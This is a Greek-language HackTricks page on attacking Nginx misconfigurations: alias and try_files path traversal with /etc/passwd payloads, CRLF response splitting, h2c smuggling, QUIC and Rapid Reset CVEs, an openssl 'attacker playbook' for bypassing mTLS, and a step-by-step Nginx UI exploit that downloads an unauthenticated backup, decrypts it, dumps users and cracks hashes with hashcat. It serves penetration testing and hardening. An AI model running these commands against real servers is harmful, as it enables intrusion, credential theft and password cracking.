Nginx

Tip

Μάθε & εξασκήσου στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξασκήσου στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθε & εξασκήσου στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Περιηγήσου στον πλήρη κατάλογο HackTricks Training για τα assessment tracks (ARTA/GRTA/AzRTA) και στο Linux Hacking Expert (LHE).

Υποστήριξε το HackTricks

Missing root location

Κατά τη ρύθμιση του Nginx server, η root directive παίζει κρίσιμο ρόλο, ορίζοντας τον βασικό κατάλογο από τον οποίο σερβίρονται τα files. Δείτε το παρακάτω example:

server {
root /etc/nginx;

location /hello.txt {
try_files $uri $uri/ =404;
proxy_pass http://127.0.0.1:8080/;
}
}

Σε αυτήν τη διαμόρφωση, το /etc/nginx ορίζεται ως ο root directory. Αυτή η ρύθμιση επιτρέπει την πρόσβαση σε αρχεία μέσα στο καθορισμένο root directory, όπως το /hello.txt. Ωστόσο, είναι κρίσιμο να σημειωθεί ότι ορίζεται μόνο ένα συγκεκριμένο location (/hello.txt). Δεν υπάρχει configuration για το root location (location / {...}). Αυτή η παράλειψη σημαίνει ότι το root directive εφαρμόζεται global, επιτρέποντας σε requests προς το root path / να έχουν πρόσβαση σε αρχεία κάτω από το /etc/nginx.

Από αυτήν τη ρύθμιση προκύπτει μια κρίσιμη security consideration. Ένα απλό GET request, όπως το GET /nginx.conf, θα μπορούσε να αποκαλύψει sensitive πληροφορίες σερβίροντας το Nginx configuration file που βρίσκεται στο /etc/nginx/nginx.conf. Ο ορισμός του root σε έναν λιγότερο sensitive directory, όπως το /etc, θα μπορούσε να μετριάσει αυτόν τον κίνδυνο, όμως ακόμη και τότε μπορεί να επιτρέψει ακούσια πρόσβαση σε άλλα critical αρχεία, συμπεριλαμβανομένων άλλων configuration files, access logs, και ακόμη και encrypted credentials που χρησιμοποιούνται για HTTP basic authentication.

Alias LFI Misconfiguration

Στα configuration files του Nginx, απαιτείται προσεκτικός έλεγχος των location directives. Μια vulnerability γνωστή ως Local File Inclusion (LFI) μπορεί να εισαχθεί ακούσια μέσω μιας διαμόρφωσης που μοιάζει με την ακόλουθη:

location /imgs {
alias /path/images/;
}

Αυτή η ρύθμιση είναι επιρρεπής σε επιθέσεις LFI επειδή ο server ερμηνεύει αιτήματα όπως /imgs../flag.txt ως προσπάθεια πρόσβασης σε αρχεία εκτός του επιθυμητού καταλόγου, επιλύοντάς το ουσιαστικά σε /path/images/../flag.txt. Αυτό το ελάττωμα επιτρέπει σε attackers να ανακτήσουν αρχεία από το filesystem του server που δεν θα έπρεπε να είναι προσβάσιμα μέσω του web.

Για να μετριαστεί αυτή η ευπάθεια, η ρύθμιση θα πρέπει να προσαρμοστεί ώστε να:

location /imgs/ {
alias /path/images/;
}

Περισσότερες πληροφορίες: https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/

Accunetix tests:

alias../ => HTTP status code 403
alias.../ => HTTP status code 404
alias../../ => HTTP status code 403
alias../../../../../../../../../../../ => HTTP status code 400
alias../ => HTTP status code 403

Περιορισμός μη ασφαλούς διαδρομής

Ελέγξτε την ακόλουθη σελίδα για να μάθετε πώς να παρακάμψετε directives όπως:

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Proxy / WAF Protections Bypass

Μη ασφαλής χρήση μεταβλητών / HTTP Request Splitting

Caution

Ευάλωτες μεταβλητές $uri και $document_uri και αυτό μπορεί να διορθωθεί αντικαθιστώντας τες με $request_uri.

Μια regex μπορεί επίσης να είναι ευάλωτη όπως:

location ~ /docs/([^/])? { … $1 … } - Ευάλωτο

location ~ /docs/([^/\s])? { … $1 … } - Δεν είναι ευάλωτο (έλεγχος spaces)

location ~ /docs/(.*)? { … $1 … } - Δεν είναι ευάλωτο

Μια ευπάθεια στη ρύθμιση του Nginx παρουσιάζεται στο παρακάτω παράδειγμα:

location / {
return 302 https://example.com$uri;
}

Οι χαρακτήρες \r (Carriage Return) και \n (Line Feed) σημαίνουν new line characters στα HTTP requests, και οι URL-encoded μορφές τους αναπαρίστανται ως %0d%0a. Η συμπερίληψη αυτών των χαρακτήρων σε ένα request (π.χ., http://localhost/%0d%0aDetectify:%20clrf) προς έναν misconfigured server έχει ως αποτέλεσμα ο server να εκδίδει ένα νέο header με όνομα Detectify. Αυτό συμβαίνει επειδή η μεταβλητή $uri αποκωδικοποιεί τα URL-encoded new line characters, οδηγώντας σε ένα απροσδόκητο header στο response:

HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: https://example.com/
Detectify: clrf

Μάθετε περισσότερα για τους κινδύνους του CRLF injection και response splitting στο https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/.

Επίσης αυτή η τεχνική εξηγείται σε αυτήν την ομιλία με μερικά ευάλωτα παραδείγματα και μηχανισμούς εντοπισμού. Για παράδειγμα, για να εντοπίσετε αυτή τη λανθασμένη ρύθμιση από blackbox perspective θα μπορούσατε να κάνετε αυτά τα requests:

  • https://example.com/%20X - Any HTTP code
  • https://example.com/%20H - 400 Bad Request

Αν είναι vulnerable, το πρώτο θα επιστρέψει ως “X” είναι οποιοδήποτε HTTP method και το δεύτερο θα επιστρέψει error καθώς το H δεν είναι έγκυρο method. Άρα ο server θα λάβει κάτι σαν: GET / H HTTP/1.1 και αυτό θα ενεργοποιήσει το error.

Άλλο παράδειγμα εντοπισμού θα ήταν:

  • http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x - Any HTTP code
  • http://company.tld/%20HTTP/1.1%0D%0AHost:%20x - 400 Bad Request

Μερικές ευάλωτες ρυθμίσεις που βρέθηκαν και παρουσιάστηκαν σε εκείνη την ομιλία ήταν:

  • Παρατηρήστε πώς το $uri έχει οριστεί ως έχει στο τελικό URL
location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
}
  • Σημείωσε πώς ξανά το $uri βρίσκεται στο URL (αυτή τη φορά μέσα σε μια παράμετρο)
location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
proxy_pass http://$back;
  • Τώρα στο AWS S3
location /s3/ {
proxy_pass https://company-bucket.s3.amazonaws.com$uri;
}

Any variable

Ανακαλύφθηκε ότι τα user-supplied data ενδέχεται να αντιμετωπίζονται ως Nginx variable υπό ορισμένες συνθήκες. Η αιτία αυτής της συμπεριφοράς παραμένει κάπως ασαφής, όμως δεν είναι ούτε σπάνια ούτε απλή στην επαλήθευση. Αυτή η ανωμαλία επισημάνθηκε σε ένα security report στο HackerOne, το οποίο μπορεί να προβληθεί here. Περαιτέρω διερεύνηση του error message οδήγησε στον εντοπισμό της εμφάνισής του μέσα στο SSI filter module του codebase του Nginx, προσδιορίζοντας το Server Side Includes (SSI) ως τη βασική αιτία.

Για να ανιχνεύσετε αυτή τη misconfiguration, μπορεί να εκτελεστεί η ακόλουθη εντολή, η οποία περιλαμβάνει τον ορισμό ενός referer header για να δοκιμαστεί η εκτύπωση variable:

$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’

Οι σαρώσεις για αυτή τη λανθασμένη ρύθμιση σε όλα τα συστήματα αποκάλυψαν πολλαπλές περιπτώσεις όπου Nginx variables μπορούσαν να εκτυπωθούν από έναν χρήστη. Ωστόσο, η μείωση στον αριθμό των ευάλωτων περιπτώσεων υποδηλώνει ότι οι προσπάθειες για το patch αυτού του issue έχουν υπάρξει κάπως επιτυχημένες.

Using try_files με $URI$ARGS variables

Η ακόλουθη Nginx misconfiguration μπορεί να οδηγήσει σε μια LFI vulnerability:

location / {
try_files $uri$args $uri$args/ /index.html;
}

Στη διαμόρφωσή μας έχουμε τη directive try_files, η οποία χρησιμοποιείται για να ελέγχει την ύπαρξη αρχείων με συγκεκριμένη σειρά. Το Nginx θα εξυπηρετήσει το πρώτο που θα βρει. Η βασική σύνταξη της directive try_files είναι η εξής:

try_files file1 file2 ... fileN fallback;

Το Nginx θα ελέγξει την ύπαρξη κάθε αρχείου με τη συγκεκριμένη σειρά. Αν ένα αρχείο υπάρχει, θα σερβιριστεί αμέσως. Αν κανένα από τα καθορισμένα αρχεία δεν υπάρχει, το request θα περάσει στην επιλογή fallback, η οποία μπορεί να είναι άλλο URI ή μια συγκεκριμένη σελίδα σφάλματος.

Ωστόσο, όταν χρησιμοποιούνται οι μεταβλητές $uri$args σε αυτό το directive, το Nginx θα προσπαθήσει να βρει ένα αρχείο που να ταιριάζει με το request URI συν τυχόν query string arguments. Therefore μπορούμε να εκμεταλλευτούμε αυτή τη configuration:

http {
server {
root /var/www/html/public;

location / {
try_files $uri$args $uri$args/ /index.html;
}
}
}

Με το ακόλουθο payload:

GET /?../../../../../../../../etc/passwd HTTP/1.1
Host: example.com

Με το payload μας θα δραπετεύσουμε από τον root directory (ορισμένο στο configuration του Nginx) και θα φορτώσουμε το αρχείο /etc/passwd. Στα debug logs μπορούμε να παρατηρήσουμε πώς το Nginx δοκιμάζει τα files:

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd"
2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK

PoC εναντίον του Nginx χρησιμοποιώντας τη ρύθμιση που αναφέρθηκε παραπάνω: Example burp request

Raw backend response reading

Το Nginx προσφέρει μια δυνατότητα μέσω proxy_pass που επιτρέπει την interception σφαλμάτων και HTTP headers που παράγονται από το backend, με στόχο να αποκρύπτει εσωτερικά error messages και headers. Αυτό επιτυγχάνεται με το Nginx να σερβίρει custom error pages ως απάντηση σε backend errors. Ωστόσο, προκύπτουν προκλήσεις όταν το Nginx συναντά ένα invalid HTTP request. Ένα τέτοιο request προωθείται στο backend όπως ακριβώς ελήφθη, και το raw response του backend στη συνέχεια αποστέλλεται απευθείας στον client χωρίς παρέμβαση του Nginx.

Εξετάστε ένα παράδειγμα σεναρίου που περιλαμβάνει μια uWSGI application:

def application(environ, start_response):
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
return [b"Secret info, should not be visible!"]

Για να το διαχειριστεί αυτό, χρησιμοποιούνται συγκεκριμένες directives στη διαμόρφωση του Nginx:

http {
error_page 500 /html/error.html;
proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
  • proxy_intercept_errors: Αυτή η directive ενεργοποιεί το Nginx να σερβίρει μια προσαρμοσμένη απόκριση για backend responses με status code μεγαλύτερο από 300. Διασφαλίζει ότι, για το παράδειγμά μας uWSGI application, μια απόκριση 500 Error θα intercept και θα διαχειριστεί από το Nginx.
  • proxy_hide_header: Όπως υποδηλώνει το όνομα, αυτή η directive κρύβει συγκεκριμένα HTTP headers από τον client, ενισχύοντας το privacy και το security.

Όταν γίνεται ένα έγκυρο GET request, το Nginx το επεξεργάζεται κανονικά, επιστρέφοντας ένα τυπικό error response χωρίς να αποκαλύπτει secret headers. Ωστόσο, ένα invalid HTTP request παρακάμπτει αυτόν τον μηχανισμό, με αποτέλεσμα την έκθεση raw backend responses, συμπεριλαμβανομένων secret headers και error messages.

merge_slashes set to off

By default, το merge_slashes directive του Nginx είναι ρυθμισμένο σε on, το οποίο συμπιέζει πολλαπλά forward slashes σε ένα URL σε ένα single slash. Αυτή η δυνατότητα, ενώ απλοποιεί το URL processing, μπορεί ακούσια να αποκρύψει vulnerabilities σε applications πίσω από Nginx, ιδιαίτερα σε αυτές που είναι επιρρεπείς σε local file inclusion (LFI) attacks. Οι security experts Danny Robinson and Rotem Bar έχουν επισημάνει τους πιθανούς κινδύνους αυτής της default συμπεριφοράς, ειδικά όταν το Nginx λειτουργεί ως reverse-proxy.

Για να μετριαστούν τέτοιοι κίνδυνοι, συνιστάται να απενεργοποιήσετε το merge_slashes directive για applications που είναι ευάλωτες σε αυτές τις vulnerabilities. Αυτό διασφαλίζει ότι το Nginx προωθεί requests στο application χωρίς να αλλοιώνει τη δομή του URL, και έτσι δεν καλύπτει υποκείμενα security issues.

Για περισσότερες πληροφορίες ελέγξτε Danny Robinson and Rotem Bar.

Maclicious Response Headers

Όπως φαίνεται σε this writeup, υπάρχουν ορισμένα headers που, αν υπάρχουν στην response από τον web server, θα αλλάξουν τη συμπεριφορά του Nginx proxy. Μπορείτε να τα ελέγξετε in the docs:

  • X-Accel-Redirect: Υποδεικνύει στο Nginx να κάνει internally redirect ένα request σε μια καθορισμένη location.
  • X-Accel-Buffering: Ελέγχει αν το Nginx πρέπει να buffer την response ή όχι.
  • X-Accel-Charset: Ορίζει το character set για την response όταν χρησιμοποιείται X-Accel-Redirect.
  • X-Accel-Expires: Ορίζει τον χρόνο λήξης για την response όταν χρησιμοποιείται X-Accel-Redirect.
  • X-Accel-Limit-Rate: Περιορίζει τον ρυθμό μεταφοράς για responses όταν χρησιμοποιείται X-Accel-Redirect.

Για παράδειγμα, το header X-Accel-Redirect θα προκαλέσει ένα internal redirect στο nginx. Άρα, αν υπάρχει nginx configuration με κάτι όπως root / και μια response από τον web server με X-Accel-Redirect: .env, το nginx θα στείλει το περιεχόμενο του /.env (Path Traversal).

Default Value in Map Directive

Στο Nginx configuration, η directive map συχνά παίζει ρόλο στον authorization control. Ένα συνηθισμένο λάθος είναι να μην ορίζεται μια default τιμή, κάτι που θα μπορούσε να οδηγήσει σε unauthorized access. Για παράδειγμα:

http {
map $uri $mappocallow {
/map-poc/private 0;
/map-poc/secret 0;
/map-poc/public 1;
}
}

server {
location /map-poc {
if ($mappocallow = 0) {return 403;}
return 200 "Hello. It is private area: $mappocallow";
}
}

Χωρίς ένα default, ένας malicious user μπορεί να παρακάμψει την ασφάλεια αποκτώντας πρόσβαση σε ένα undefined URI μέσα στο /map-poc. Το Nginx manual συνιστά να ορίζεται μια default value για την αποφυγή τέτοιων ζητημάτων.

DNS Spoofing Vulnerability

Το DNS spoofing εναντίον του Nginx είναι εφικτό υπό ορισμένες συνθήκες. Αν ένας attacker γνωρίζει τον DNS server που χρησιμοποιεί το Nginx και μπορεί να παρεμβληθεί στα DNS queries του, μπορεί να spoofάρει DNS records. Αυτή η μέθοδος, ωστόσο, είναι αναποτελεσματική αν το Nginx είναι ρυθμισμένο να χρησιμοποιεί localhost (127.0.0.1) για DNS resolution. Το Nginx επιτρέπει τον καθορισμό ενός DNS server ως εξής:

resolver 8.8.8.8;

proxy_pass και internal Directives

Το proxy_pass directive χρησιμοποιείται για την ανακατεύθυνση requests σε άλλους servers, είτε εσωτερικά είτε εξωτερικά. Το internal directive διασφαλίζει ότι ορισμένα locations είναι προσβάσιμα μόνο μέσα από το Nginx. Παρότι αυτά τα directives δεν είναι vulnerabilities από μόνα τους, η ρύθμισή τους απαιτεί προσεκτική εξέταση για την αποφυγή security lapses.

proxy_set_header Upgrade & Connection

Αν ο nginx server είναι ρυθμισμένος να προωθεί τα Upgrade και Connection headers, μπορεί να πραγματοποιηθεί ένα h2c Smuggling attack για πρόσβαση σε protected/internal endpoints.

Caution

Αυτή η vulnerability θα επέτρεπε σε έναν attacker να stablish a direct connection with the proxy_pass endpoint (http://backend:9999 σε αυτή την περίπτωση), το περιεχόμενο του οποίου δεν πρόκειται να ελεγχθεί από το nginx.

Παράδειγμα vulnerable configuration για να κλαπεί το /flag από εδώ:

server {
listen       443 ssl;
server_name  localhost;

ssl_certificate       /usr/local/nginx/conf/cert.pem;
ssl_certificate_key   /usr/local/nginx/conf/privkey.pem;

location / {
proxy_pass http://backend:9999;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
}

location /flag {
deny all;
}

Warning

Σημειώστε ότι ακόμα κι αν το proxy_pass έδειχνε σε συγκεκριμένο path όπως http://backend:9999/socket.io η σύνδεση θα γίνει με http://backend:9999 έτσι ώστε να μπορείτε να contact any other path inside that internal endpoint. So it doesn’t matter if a path is specified in the URL of proxy_pass.

HTTP/3 QUIC module remote DoS & leak (2024)

Κατά τη διάρκεια του 2024 η Nginx δημοσιοποίησε τα CVE-2024-31079, CVE-2024-32760, CVE-2024-34161 και CVE-2024-35200, δείχνοντας ότι μία single hostile QUIC session μπορεί να κρασάρει worker processes ή να κάνει leak μνήμης κάθε φορά που το πειραματικό ngx_http_v3_module είναι compiled in και ένα listen ... quic socket είναι exposed. Οι affected builds είναι οι 1.25.0–1.25.5 και 1.26.0, ενώ οι 1.27.0/1.26.1 περιλαμβάνουν τα fixes· η memory disclosure (CVE-2024-34161) απαιτεί επιπλέον MTUs μεγαλύτερα από 4096 bytes για να εμφανιστούν sensitive data (λεπτομέρειες στο 2024 nginx advisory που αναφέρεται παρακάτω).

Recon & exploitation hints

  • Το HTTP/3 είναι opt-in, οπότε κάντε scan για απαντήσεις Alt-Svc: h3=":443" ή brute-force UDP/443 QUIC handshakes· μόλις επιβεβαιωθεί, fuzz the handshake και τα STREAM frames με custom quiche-client/nghttp3 payloads για να προκαλέσετε worker crashes και να αναγκάσετε log leakage.
  • Γρήγορο fingerprint target support με:
nginx -V 2>&1 | grep -i http_v3
rg -n "listen .*quic" /etc/nginx/

TLS session resumption bypass of client cert auth (CVE-2025-23419)

Μια συμβουλή του Φεβρουαρίου 2025 αποκάλυψε ότι το nginx 1.11.4–1.27.3, όταν έχει γίνει build με OpenSSL, επιτρέπει την επαναχρησιμοποίηση μιας TLS 1.3 session από ένα name-based virtual host μέσα σε ένα άλλο, έτσι ώστε ένας client που διαπραγματεύτηκε ένα host χωρίς certificate να μπορεί να επαναλάβει το ticket/PSK για να περάσει σε ένα vhost προστατευμένο με ssl_verify_client on; και να παρακάμψει πλήρως το mTLS. Το bug ενεργοποιείται όποτε πολλαπλά virtual hosts μοιράζονται το ίδιο TLS 1.3 session cache και tickets (δες το 2025 nginx advisory που αναφέρεται παρακάτω).

Attacker playbook

# 1. Create a TLS session on the public vhost and save the session ticket
openssl s_client -connect public.example.com:443 -sess_out ticket.pem

# 2. Replay that session ticket against the mTLS vhost before it expires
openssl s_client -connect admin.example.com:443 -sess_in ticket.pem -ign_eof

Αν ο στόχος είναι ευάλωτος, το δεύτερο handshake ολοκληρώνεται χωρίς να παρουσιάζεται client certificate, αποκαλύπτοντας protected locations.

Τι να ελέγξετε

  • Mixed server_name blocks που μοιράζονται ssl_session_cache shared:SSL μαζί με ssl_session_tickets on;.
  • Admin/API blocks που αναμένουν mTLS αλλά κληρονομούν shared session cache/ticket settings από public hosts.
  • Automation που ενεργοποιεί TLS 1.3 session resumption globally (π.χ., Ansible roles) χωρίς να λαμβάνει υπόψη vhost isolation.

HTTP/2 Rapid Reset resilience (CVE-2023-44487 behavior)

Η HTTP/2 Rapid Reset attack (CVE-2023-44487) εξακολουθεί να επηρεάζει το nginx όταν οι operators ανεβάζουν το keepalive_requests ή το http2_max_concurrent_streams πάνω από τα defaults: ένας attacker ανοίγει μία HTTP/2 connection, τη floodάρει με χιλιάδες streams, και μετά στέλνει αμέσως RST_STREAM frames ώστε το concurrency ceiling να μην φτάνει ποτέ, ενώ η CPU συνεχίζει να καίγεται στη logic του tear-down. Τα defaults του Nginx (128 concurrent streams, 1000 keepalive requests) κρατούν το blast radius μικρό· η σημαντική αύξηση αυτών των ορίων κάνει εύκολο το να starving workers ακόμη και από έναν μόνο client (δείτε το F5 write-up που αναφέρεται παρακάτω).

Detection tips

# Highlight risky knobs
rg -n "http2_max_concurrent_streams" /etc/nginx/
rg -n "keepalive_requests" /etc/nginx/

Οι hosts που αποκαλύπτουν ασυνήθιστα υψηλές τιμές για εκείνα τα directives είναι prime targets: ένας HTTP/2 client μπορεί να κάνει loop μέσα από stream creation και άμεσα RST_STREAM frames για να κρατά το CPU pegged χωρίς να ενεργοποιεί το concurrency cap.

Nginx UI pre-auth backup export + crypto material leakage

Το Nginx UI είναι ένα ξεχωριστό admin panel για nginx, όχι το ίδιο το nginx daemon. Στο Nginx UI < 2.3.3, το backup export endpoint μπορεί να είναι προσβάσιμο χωρίς authentication και η response μπορεί επίσης να leak το AES-256-CBC key και IV που χρειάζονται για να decrypt το backup μέσω του X-Backup-Security header. Αυτό μετατρέπει ένα “encrypted backup download” σε άμεσο credential / token / private-key disclosure.

Fast version fingerprinting from SPA assets

Αν η login page είναι ένα JS-heavy SPA, πάρε το main bundle από το / και ψάξε για ένα dedicated version chunk:

curl -s http://admin.example/ | grep -oP 'assets/index-[^"]+\.js'
curl -s http://admin.example/assets/index-<hash>.js | grep -oP 'version[-\\w]*\\.js'
curl -s http://admin.example/assets/version-<hash>.js

Σε ευάλωτες εκδόσεις Nginx UI αυτό συχνά επιστρέφει ένα literal όπως const t="2.3.2", το οποίο αρκεί για να ταιριάξει το ευάλωτο εύρος πριν από το authentication.

Έλεγξε exposed API endpoints και τράβηξε το backup

Ακόμα κι όταν τα περισσότερα /api/* routes επιστρέφουν 403, δοκίμασε απευθείας backup-style endpoints:

curl -s http://admin.example/api/install
curl -s -D headers.txt -o backup.zip http://admin.example/api/backup
grep -i '^X-Backup-Security:' headers.txt
unzip -l backup.zip

Αν είναι ευάλωτο, το X-Backup-Security περιέχει base64(key):base64(iv). Αποκωδικοποίησε και τις δύο τιμές και επιβεβαίωσε τα αναμενόμενα μήκη (32-byte key, 16-byte IV):

KEY_B64='<base64-key>'; IV_B64='<base64-iv>'
KEY_HEX=$(printf '%s' "$KEY_B64" | base64 -d | xxd -p -c 0)
IV_HEX=$(printf '%s' "$IV_B64" | base64 -d | xxd -p -c 0)
unzip backup.zip -d backup
openssl enc -aes-256-cbc -d -in backup/hash_info.txt -out hash_info.txt -K "$KEY_HEX" -iv "$IV_HEX"
openssl enc -aes-256-cbc -d -in backup/nginx.zip -out nginx_dec.zip -K "$KEY_HEX" -iv "$IV_HEX"
openssl enc -aes-256-cbc -d -in backup/nginx-ui.zip -out nginx-ui_dec.zip -K "$KEY_HEX" -iv "$IV_HEX"

Μετά την αποκρυπτογράφηση, επιθεώρησε τα ανακτημένα nginx configs και τα δεδομένα της εφαρμογής Nginx UI. Ένα συνηθισμένο post-exploitation path είναι:

  • Εξαγωγή reverse-proxy και vhost details από το nginx_dec.zip
  • Επιθεώρηση του nginx-ui_dec.zip για app.ini, database.db, API tokens, ή certificate material
  • Dump του SQLite users table και cracking των recovered password hashes offline
unzip nginx-ui_dec.zip -d nginx-ui
sqlite3 nginx-ui/database.db 'select name,password from users;'
hashcat -m 3200 hashes.txt <wordlist>

Αυτό το pattern αξίζει να το δοκιμάσετε και σε άλλα admin products: ένα unauthenticated “encrypted” export παραμένει plaintext disclosure αν η response διαρρέει το decryption material ή το αποθηκεύει μαζί με το archive.

Δοκιμάστε το μόνοι σας

Το Detectify έχει δημιουργήσει ένα GitHub repository όπου μπορείτε να χρησιμοποιήσετε Docker για να στήσετε τον δικό σας vulnerable Nginx test server με κάποιες από τις misconfigurations που συζητούνται σε αυτό το άρθρο και να δοκιμάσετε να τις βρείτε μόνοι σας!

https://github.com/detectify/vulnerable-nginx

Static Analyzer tools

gixy-ng & Gixy-Next & GIXY

  • Gixy-Next (ένα ενημερωμένο fork του GIXY) είναι ένα tool για να αναλύει Nginx configurations, με στόχο να βρίσκει vulnerabilities, insecure directives και risky misconfigurations. Επίσης εντοπίζει misconfigurations που επηρεάζουν την performance και ανιχνεύει missed hardening opportunities, επιτρέποντας automated flaw detection.
  • gixy-ng (το ενεργά συντηρούμενο fork του GIXY) είναι ένα tool για να αναλύει Nginx configurations, με στόχο να βρίσκει vulnerabilities, insecure directives και risky misconfigurations. Επίσης εντοπίζει misconfigurations που επηρεάζουν την performance και ανιχνεύει missed hardening opportunities, επιτρέποντας automated flaw detection.

Nginxpwner

Το Nginxpwner είναι ένα απλό tool για να εντοπίζει common Nginx misconfigurations και vulnerabilities.

Αναφορές

Tip

Μάθε & εξασκήσου στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξασκήσου στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθε & εξασκήσου στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Περιηγήσου στον πλήρη κατάλογο HackTricks Training για τα assessment tracks (ARTA/GRTA/AzRTA) και στο Linux Hacking Expert (LHE).

Υποστήριξε το HackTricks